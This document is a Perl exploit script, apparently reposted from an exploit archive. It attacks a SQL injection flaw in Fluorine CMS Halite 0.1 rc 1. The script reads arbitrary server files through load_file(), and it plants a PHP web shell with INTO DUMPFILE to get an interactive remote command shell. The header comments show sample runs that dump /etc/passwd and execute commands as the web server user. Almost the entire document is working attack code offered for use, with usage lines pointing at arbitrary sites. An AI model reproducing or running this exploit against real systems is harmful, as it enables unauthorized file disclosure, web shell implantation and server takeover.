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Fluorine CMS 0.1 rc 1 FD / SQL Injection Command Execution Exploit
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来源：osirys.org 作者：Osirys 发布时间：2009-02-11
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#!/usr/bin/perl
# |----------------------------------------------------------------------------------------------------------------------------------|
# | INFORMATIONS |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application : Fluorine CMS - Halite 0.1 rc 1 |
# |Download : http://garr.dl.sourceforge.net/sourceforge/fluorine/halite-0.1rc1.rar |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Exploit (File Disclosure + Remote Command Execution via Sql Injection) |
# |by Osirys |
# |osirys[at]autistici[dot]org |
# |osirys.org |
# |Thx&Greets to: evilsocket, Fireshot, Todd and str0ke |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# | p0c : /[path]/halite.php?action=aff&id=[sql_string]
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This CMS is vulnerable to sql injection. The exploit just use load_file() mysql function to disclosure local file on the server,
# |and uses the '' into dumpfile '' mysql function to save a php shell on the website, so it will allows you to execute commands.
# |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it !
# |----------------------------------------------------------------------------------------------------------------------------------|
# -----------------------------------------------------------------------------------------------
# Exploit in action [>!]
# -----------------------------------------------------------------------------------------------
# osirys[~]>$ perl xploit.txt http://localhost/cms0/ file_disc
#
# -------------------------------------
# Fluorine CMS Remote Exploit
# Coded by Osirys
# -------------------------------------
#
# [*] cat /etc/passwd
# root:x:0:0::/root:/bin/bash
# bin:x:1:1:bin:/bin:/bin/false
# daemon:x:2:2:daemon:/sbin:/bin/false
# adm:x:3:4:adm:/var/log:/bin/false
# lp:x:4:7:lp:/var/spool/lpd:/bin/false
# sync:x:5:0:sync:/sbin:/bin/sync
# shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
# halt:x:7:0:halt:/sbin:/sbin/halt
# mail:x:8:12:mail:/:/bin/false
# news:x:9:13:news:/usr/lib/news:/bin/false
# uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
# operator:x:11:0:operator:/root:/bin/bash
# games:x:12:100:games:/usr/games:/bin/false
# ftp:x:14:50::/home/ftp:/bin/false
# smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
# mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
# rpc:x:32:32:RPC portmap user:/:/bin/false
# sshd:x:33:33:sshd:/:/bin/false
# gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
# apache:x:80:80:User for Apache:/srv/httpd:/bin/false
# messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
# haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
# pop:x:90:90:POP:/:/bin/false
# nobody:x:99:99:nobody:/:/bin/false
# osirys:x:1000:100:Giovanni,,,:/home/osirys:/bin/bash
# [*] cat exit
# [-] Quitting ..
# osirys[~]>$
# -----------------------------------------------------------------------------------------------
# osirys[~]>$ perl xploit.txt http://localhost/cms0/ cmd /home/osirys/web/cms0/
#
# -------------------------------------
# Fluorine CMS Remote Exploit
# Coded by Osirys
# -------------------------------------
#
# [*] Injectin php shell thou Sql Injection
# [*] Shell succesfully injected !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> whoami
# apache
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# -----------------------------------------------------------------------------------------------
use LWP::UserAgent;
use HTTP::Request::Common;
my $host = $ARGV[0];
my $expl = $ARGV[1];
my $fpath = $ARGV[2];
my $sql_inj_path = "/halite.php?action=aff&id=";
my $gen_sql_inj = "-1 union all select 1,2,3,4,";
my $php_c0de = "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET[".
"cmd]=stripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";
$fpath = "/x" if ($expl =~ /file_disc/);
($host,$expl,$fpath) || help("-1");
cheek($host,$expl,$fpath) == 1 || help("-2");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
&file_discl if $expl_way == 1;
&cmd if $expl_way == 2;
sub file_discl {
print "[*] cat ";
my $file = <STDIN>;
chomp($file);
$file !~ /exit/ || die "[-] Quitting ..\n";
if ($file !~ /\/(.*)/) {
print "\n[-] Bad filename !\n";
&file_discl;
}
my $sql_inj = $sql_inj_path.$gen_sql_inj."load_file(\"".$file."\")";
my $attack = $host.$sql_inj;
my $re = get_req($attack);
my $content = tag($re);
if ($content =~ /<td\$class="corpsnews">\*\*(.*)(\*\*|\*\*\*)\$\$<\/td>\*\*\$<\/tr>/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
$out =~ s/$out/$out\n/ if ($out !~ /\n$/);
print "$out\n";
&file_discl;
}
elsif ($content =~ /<td\$class="corpsnews">\*\*\*\*\$\$<\/td>\*\*\$<\/tr>/) {
$c++;
print "[-] Can't find ".$file." \n";
$c < 3 || die "[-] File Disclosure failed !\n[-] Something wrong. Exploit Failed !\n\n";
&file_discl;
}
}
sub cmd {
print "[*] Injectin php shell thou Sql Injection\n";
my $sql_inj = $sql_inj_path.$gen_sql_inj."'".$php_c0de."' into dumpfile '".$fpath."/shell.php'";
my $attack = $host.$sql_inj;
get_req($attack);
my $test = get_req($host."shell.php");
if ($test =~ /st4rt/) {
print "[*] Shell succesfully injected !\n";
print "[&] Hi my master, do your job now [!]\n\n";
$exec_path = $host."/shell.php";
&exec_cmd;
}
else {
print "[-] Shell not found \n[-] Exploit failed\n\n";
exit(0);
}
}
sub exec_cmd() {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
my $exec_url = $exec_path."?cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ /st4rt(.*)/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}
sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}
sub cheek() {
my $host = $_[0];
my $expl = $_[1];
my $fpath = $_[2];
if ($host =~ /http:\/\/(.*)/) {
$ch_host = 1;
}
if ($expl =~ /file_disc/) {
$ch_expl = 1;
$ch_fpath = 1;
$expl_way = 1;
}
elsif ($expl =~ /cmd/) {
$ch_expl = 1;
$expl_way = 2;
}
if ($fpath =~ /\/(.*)/) {
$ch_fpath = 1;
}
return 1 if ((($ch_host)&&($ch_expl)&&($ch_fpath)) == 1);
&help("-2");
}
sub banner {
print "\n".
" ------------------------------------- \n".
" Fluorine CMS Remote Exploit \n".
" Coded by Osirys \n".
" ------------------------------------- \n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input Error, missed some arguments !\n\n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad arguments !\n\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path file_disc file\n";
print " Ex: perl $0 http://site.it/cms/ file_disc /etc/passwd\n";
print "[*] Usage : perl $0 http://hostname/cms_path cmd path_of_site\n";
print " Ex: perl $0 http://site.it/cms/ cmd /home/osirys/web/cms/\n\n";
exit(0);
}
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